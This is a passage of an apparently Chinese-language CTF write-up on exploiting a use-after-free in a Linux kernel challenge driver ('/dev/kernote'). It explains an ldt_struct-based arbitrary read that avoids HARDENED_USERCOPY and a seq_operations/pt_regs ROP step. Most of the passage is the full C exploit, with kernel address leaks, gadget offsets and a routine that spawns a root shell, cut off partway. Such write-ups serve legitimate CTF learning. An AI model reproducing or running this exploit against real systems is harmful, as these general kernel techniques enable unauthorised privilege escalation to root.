punctuation">;</span><span class="token keyword">unsigned</span> <span class="token keyword">int</span> next_fd<span class="token punctuation">;</span><span class="token keyword">unsigned</span> <span class="token keyword">long</span> close_on_exec_init<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">unsigned</span> <span class="token keyword">long</span> open_fds_init<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">unsigned</span> <span class="token keyword">long</span> full_fds_bits_init<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">struct</span> <span class="token class-name">file</span> __rcu <span class="token operator">*</span> fd_array<span class="token punctuation">[</span>NR_OPEN_DEFAULT<span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>跟踪 fd_array 字段，即结构体 <a href="https://elixir.bootlin.com/linux/v5.11.9/source/include/linux/fs.h#L915"><code>file</code></a></p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">struct</span> <span class="token class-name">file</span> <span class="token punctuation">&#123;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token keyword">const</span> <span class="token keyword">struct</span> <span class="token class-name">file_operations</span><span class="token operator">*</span>f_op<span class="token punctuation">;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">&#125;</span> __randomize_layout  <span class="token keyword">__attribute__</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token function">aligned</span><span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">/* lest something weird decides that 2 is OK */</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>读取 f_op 指针即可获取到内核地址</p><h4 id="Safe-Leak"><a href="#Safe-Leak" class="headerlink" title="Safe Leak"></a>Safe Leak</h4><p>直接搜索整个线性映射区域仍有可能触发 <strong>HARDENED_USERCOPY</strong> 的检查，官方利用 fork 时，调用 <a href="https://elixir.bootlin.com/linux/v5.11.9/source/arch/x86/kernel/ldt.c#L443"><code>ldt_dup_context</code></a> 拷贝 ldt 来安全的 leak 数据</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token comment">/* * Called on fork from arch_dup_mmap(). Just copy the current LDT state, * the new task is not running, so nothing can be installed. */</span><span class="token keyword">int</span> <span class="token function">ldt_dup_context</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">mm_struct</span> <span class="token operator">*</span>old_mm<span class="token punctuation">,</span> <span class="token keyword">struct</span> <span class="token class-name">mm_struct</span> <span class="token operator">*</span>mm<span class="token punctuation">)</span><span class="token punctuation">&#123;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token function">memcpy</span><span class="token punctuation">(</span>new_ldt<span class="token operator">-></span>entries<span class="token punctuation">,</span> old_mm<span class="token operator">-></span>context<span class="token punctuation">.</span>ldt<span class="token operator">-></span>entries<span class="token punctuation">,</span>       new_ldt<span class="token operator">-></span>nr_entries <span class="token operator">*</span> LDT_ENTRY_SIZE<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>因为这里使用的是 memcpy，发生在内核空间内的拷贝，并不会有 HARDENED_USERCOPY 检查，只要再父进程 UAF 修改 entries，fork 后子进程进行 read_ldt，即可安全的进行任意地址读</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">char</span> <span class="token operator">*</span>buf<span class="token punctuation">;</span><span class="token keyword">void</span> <span class="token function">safe_read</span><span class="token punctuation">(</span><span class="token class-name">uint64_t</span> addr<span class="token punctuation">,</span> <span class="token class-name">size_t</span> len<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token function">ioctl</span><span class="token punctuation">(</span>fd<span class="token punctuation">,</span> NOTE_EDIT<span class="token punctuation">,</span> addr<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>pid <span class="token operator">=</span> <span class="token function">fork</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            <span class="token function">errExit</span><span class="token punctuation">(</span><span class="token string">"fork error"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>pid <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token comment">// child</span>        <span class="token function">syscall</span><span class="token punctuation">(</span>SYS_modify_ldt<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> buf<span class="token punctuation">,</span> len<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">exit</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>        <span class="token function">wait</span><span class="token punctuation">(</span><span class="token constant">NULL</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>buf <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">char</span><span class="token operator">*</span><span class="token punctuation">)</span> <span class="token function">mmap</span><span class="token punctuation">(</span><span class="token constant">NULL</span><span class="token punctuation">,</span> <span class="token number">0x8000</span><span class="token punctuation">,</span> PROT_READ <span class="token operator">|</span> PROT_WRITE<span class="token punctuation">,</span> MAP_SHARED <span class="token operator">|</span> MAP_ANONYMOUS<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token function">safe_read</span><span class="token punctuation">(</span>target<span class="token punctuation">,</span> size<span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><hr><h3 id="ROP"><a href="#ROP" class="headerlink" title="ROP"></a>ROP</h3><p>有了内核地址后，再次构造 UAF 劫持 <strong>seq_operations</strong>，利用 <strong>pt_regs</strong> 进行 ROP 即可</p><p>具体参考：<br><a href="https://arttnba3.cn/2021/11/29/NOTE-0X08-LINUX-KERNEL-PWN-PART-IV/#0x04-pt-regs-%E4%B8%8E%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8%E7%9B%B8%E5%85%B3">https://arttnba3.cn/2021/11/29/NOTE-0X08-LINUX-KERNEL-PWN-PART-IV/#0x04-pt-regs-%E4%B8%8E%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8%E7%9B%B8%E5%85%B3</a></p><h3 id="完整-EXP"><a href="#完整-EXP" class="headerlink" title="完整 EXP"></a>完整 EXP</h3><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token comment">// gcc -masm=intel -pthread -static -o exp exp.c</span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">_GNU_SOURCE</span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;sys/types.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdio.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;errno.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;unistd.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdlib.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;fcntl.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;signal.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;poll.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;string.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;sys/mman.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;sys/syscall.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;sys/ioctl.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;poll.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;sched.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;asm/ldt.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;sys/syscall.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;sys/prctl.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;string.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdint.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;sys/wait.h></span></span><span class="token keyword">void</span> <span class="token function">errExit</span><span class="token punctuation">(</span><span class="token keyword">char</span> <span class="token operator">*</span> msg<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"\033[31m\033[1m[x] Error at: \033[0m%s\n"</span><span class="token punctuation">,</span> msg<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">exit</span><span class="token punctuation">(</span>EXIT_FAILURE<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token class-name">size_t</span> user_cs<span class="token punctuation">,</span> user_ss<span class="token punctuation">,</span> user_rflags<span class="token punctuation">,</span> user_sp<span class="token punctuation">;</span><span class="token keyword">void</span> <span class="token function">saveStatus</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token function">__asm__</span><span class="token punctuation">(</span><span class="token string">"mov user_cs, cs;"</span>            <span class="token string">"mov user_ss, ss;"</span>            <span class="token string">"mov user_sp, rsp;"</span>            <span class="token string">"pushf;"</span>            <span class="token string">"pop user_rflags;"</span>            <span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"\033[34m\033[1m[*] Status has been saved.\033[0m\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token class-name">size_t</span> commit_creds <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">,</span> prepare_kernel_cred <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token keyword">void</span> <span class="token function">getRootShell</span><span class="token punctuation">(</span><span class="token keyword">void</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>       <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"\033[32m\033[1m[+] Backing from the kernelspace.\033[0m"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">getuid</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"\033[31m\033[1m[x] Failed to get the root!\033[0m"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">exit</span><span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">system</span><span class="token punctuation">(</span><span class="token string">"/bin/sh"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">exit</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">// to exit the process normally instead of segmentation fault</span><span class="token punctuation">&#125;</span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">NOTE_DELETE</span> <span class="token expression"><span class="token number">0x6668</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">NOTE_SELECT</span> <span class="token expression"><span class="token number">0x6666</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">NOTE_ADD</span> <span class="token expression"><span class="token number">0x6667</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">NOTE_EDIT</span> <span class="token expression"><span class="token number">0x6669</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">NOTE_NOUSE</span> <span class="token expression"><span class="token number">0x666A</span></span></span><span class="token keyword">int</span> fd<span class="token punctuation">;</span><span class="token keyword">int</span> seq_fd<span class="token punctuation">;</span><span class="token keyword">int</span> pid<span class="token punctuation">;</span><span class="token keyword">char</span> <span class="token operator">*</span>buf<span class="token punctuation">;</span><span class="token class-name">uint64_t</span> page_offset_base <span class="token operator">=</span> <span class="token number">0xffff888000000000uLL</span><span class="token punctuation">;</span><span class="token class-name">uint64_t</span> kernel_base<span class="token punctuation">,</span> kernel_offset<span class="token punctuation">;</span><span class="token class-name">uint64_t</span> pop_rdi_ret<span class="token punctuation">,</span> swapgs_restore_regs_and_return_to_usermode<span class="token punctuation">,</span> init_cred<span class="token punctuation">;</span><span class="token keyword">void</span> <span class="token function">safe_read</span><span class="token punctuation">(</span><span class="token class-name">uint64_t</span> addr<span class="token punctuation">,</span> <span class="token class-name">size_t</span> len<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token function">ioctl</span><span class="token punctuation">(</span>fd<span class="token punctuation">,</span> NOTE_EDIT<span class="token punctuation">,</span> addr<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>pid <span class="token operator">=</span> <span class="token function">fork</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            <span class="token function">errExit</span><span class="token punctuation">(</span><span class="token string">"fork error"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>pid <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token comment">// child</span>        <span class="token function">syscall</span><span class="token punctuation">(</span>SYS_modify_ldt<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> buf<span class="token punctuation">,</span> len<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">exit</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>        <span class="token function">wait</span><span class="token punctuation">(</span><span class="token constant">NULL</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token keyword">int</span> argc<span class="token punctuation">,</span> <span class="token keyword">char</span> <span class="token keyword">const</span><span class="token operator">*</span> argv<span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">struct</span> <span class="token class-name">user_desc</span> desc<span class="token punctuation">;</span>    <span class="token class-name">uint64_t</span> tmp<span class="token punctuation">;</span>    <span class="token class-name">uint64_t</span> search_addr<span class="token punctuation">;</span>    <span class="token class-name">uint64_t</span> files_addr<span class="token punctuation">;</span>    <span class="token class-name">uint64_t</span> file0_addr<span class="token punctuation">;</span>    <span class="token class-name">uint64_t</span> f_op_addr<span class="token punctuation">;</span>    <span class="token class-name">uint64_t</span> <span class="token operator">*</span>comm_addr<span class="token punctuation">;</span>    <span class="token keyword">int</span> cur_pid<span class="token punctuation">;</span>    <span class="token class-name">cpu_set_t</span> cpu_mask<span class="token punctuation">;</span>    <span class="token function">CPU_ZERO</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>cpu_mask<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">CPU_SET</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>cpu_mask<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">sched_setaffinity</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>cpu_mask<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">saveStatus</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    buf <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">char</span><span class="token operator">*</span><span class="token punctuation">)</span> <span class="token function">mmap</span><span class="token punctuation">(</span><span class="token constant">NULL</span><span class="token punctuation">,</span> <span class="token number">0x8000</span><span class="token punctuation">,</span> PROT_READ <span class="token operator">|</span> PROT_WRITE<span class="token punctuation">,</span> MAP_SHARED <span class="token operator">|</span> MAP_ANONYMOUS<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>buf<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">errExit</span><span class="token punctuation">(</span><span class="token string">"mmap error"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>fd <span class="token operator">=</span> <span class="token function">open</span><span class="token punctuation">(</span><span class="token string">"/dev/kernote"</span><span class="token punctuation">,</span> O_RDONLY<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">errExit</span><span class="token punctuation">(</span><span class="token string">"open device"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"creating UAF..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">memset</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>desc<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>desc<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    desc<span class="token punctuation">.</span>base_addr<span class="token operator">=</span><span class="token number">0xff0000</span><span class="token punctuation">;</span>    desc<span class="token punctuation">.</span>entry_number<span class="token operator">=</span><span class="token number">0x8000</span><span class="token operator">/</span><span class="token number">8</span><span class="token punctuation">;</span>    <span class="token function">ioctl</span><span class="token punctuation">(</span>fd<span class="token punctuation">,</span> NOTE_ADD<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">ioctl</span><span class="token punctuation">(</span>fd<span class="token punctuation">,</span> NOTE_SELECT<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">ioctl</span><span class="token punctuation">(</span>fd<span class="token punctuation">,</span> NOTE_DELETE<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">syscall</span><span class="token punctuation">(</span>SYS_modify_ldt<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>desc<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>desc<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// new ldt_struct</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"searching page_offset_base..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">while</span> <span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">ioctl</span><span class="token punctuation">(</span>fd<span class="token punctuation">,</span> NOTE_EDIT<span class="token punctuation">,</span> page_offset_base<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">int</span><span class="token punctuation">)</span><span class="token function">syscall</span><span class="token punctuation">(</span>SYS_modify_ldt<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>tmp<span class="token punctuation">,</span> <span class="token number">8</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            page_offset_base <span class="token operator">+=</span> <span class="token number">1</span> <span class="token operator">*</span> <span class="token number">1024</span> <span class="token operator">*</span> <span class="token number">1024</span> <span class="token operator">*</span> <span class="token number">1024</span><span class="token punctuation">;</span>  <span class="token comment">// direct mapping size = 1G</span>            <span class="token keyword">continue</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>        <span class="token keyword">break</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"page_offset_base = %#lx\n"</span><span class="token punctuation">,</span> page_offset_base<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"leaking files..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">prctl</span><span class="token punctuation">(</span>PR_SET_NAME<span class="token punctuation">,</span> <span class="token string">"xi4oyu2333"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    search_addr <span class="token operator">=</span> page_offset_base<span class="token punctuation">;</span>    files_addr <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>    cur_pid <span class="token operator">=</span> <span class="token function">getpid</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">while</span> <span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">safe_read</span><span class="token punctuation">(</span>search_addr<span class="token punctuation">,</span> <span class="token number">0x8000</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        comm_addr <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token class-name">uint64_t</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token function">memmem</span><span class="token punctuation">(</span>buf<span class="token punctuation">,</span> <span class="token number">0x8000</span><span class="token punctuation">,</span> <span class="token string">"xi4oyu2333"</span><span class="token punctuation">,</span> <span class="token number">10</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span>comm_addr <span class="token operator">&amp;&amp;</span>        comm_addr<span class="token punctuation">[</span><span class="token operator">-</span><span class="token number">3</span><span class="token punctuation">]</span> <span class="token operator">></span> page_offset_base <span class="token operator">&amp;&amp;</span>        comm_addr<span class="token punctuation">[</span><span class="token operator">-</span><span class="token number">2</span><span class="token punctuation">]</span> <span class="token operator">></span> page_offset_base <span class="token operator">&amp;&amp;</span>        <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">int</span><span class="token punctuation">)</span>comm_addr<span class="token punctuation">[</span><span class="token operator">-</span><span class="token number">58</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">==</span> cur_pid<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            files_addr <span class="token operator">=</span> comm_addr<span class="token punctuation">[</span><span class="token number">9</span><span class="token punctuation">]</span><span class="token punctuation">;</span>            <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"found files %#lx\n"</span><span class="token punctuation">,</span> files_addr<span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token keyword">break</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>        search_addr <span class="token operator">+=</span> <span class="token number">0x8000</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"leaking files->fd_array[0]..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">safe_read</span><span class="token punctuation">(</span>files_addr<span class="token punctuation">,</span> <span class="token number">0x200</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    file0_addr <span class="token operator">=</span> <span class="token operator">*</span><span class="token punctuation">(</span><span class="token class-name">uint64_t</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>buf<span class="token punctuation">[</span><span class="token number">160</span><span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token punctuation">(</span>file0_addr <span class="token operator">></span> page_offset_base<span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token function">errExit</span><span class="token punctuation">(</span><span class="token string">"file0 addr error"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"file0 addr %#lx\n"</span><span class="token punctuation">,</span> file0_addr<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"leaking files->file0->f_op..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">safe_read</span><span class="token punctuation">(</span>file0_addr<span class="token punctuation">,</span> <span class="token number">0x100</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    f_op_addr <span class="token operator">=</span> <span class="token operator">*</span><span class="token punctuation">(</span><span class="token class-name">uint64_t</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>buf<span class="token punctuation">[</span><span class="token number">40</span><span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"f_op addr %#lx\n"</span><span class="token punctuation">,</span> f_op_addr<span class="token punctuation">)</span><span class="token punctuation">;</span>    kernel_offset <span class="token operator">=</span> f_op_addr <span class="token operator">-</span> <span class="token number">0xffffffff820b5e00</span><span class="token punctuation">;</span>  <span class="token comment">// tty_ops</span>    kernel_base <span class="token operator">=</span> <span class="token number">0xffffffff81000000</span> <span class="token operator">+</span> kernel_offset<span class="token punctuation">;</span>    commit_creds <span class="token operator">=</span> <span class="token number">0xffffffff810c9dd0</span> <span class="token operator">+</span> kernel_offset<span class="token punctuation">;</span>    prepare_kernel_cred <span class="token operator">=</span> <span class="token number">0xffffffff810ca2b0</span> <span class="token operator">+</span>  kernel_offset<span class="token punctuation">;</span>    pop_rdi_ret <span class="token operator">=</span> <span class="token number">0xffffffff81075c4c</span> <span class="token operator">+</span> kernel_offset<span class="token punctuation">;</span>    swapgs_restore_regs_and_return_to_usermode <span class="token operator">=</span> <span class="token number">0xffffffff81c00fb0</span> <span class="token operator">+</span> kernel_offset <span class="token operator">+</span><span class="token number">10</span><span class="token punctuation">;</span>    init_cred <span class="token operator">=</span> <span class="token number">0xffffffff8266b780</span> <span class="token operator">+</span> kernel_offset<span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"kernel_base = %#lx\n"</span><span class="token punctuation">,</span> kernel_base<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"kernel_offset = %#lx\n"</span><span class="token punctuation">,</span> kernel_offset<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"commit_creds = %#lx\n"</span><span class="token punctuation">,</span> commit_creds<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token 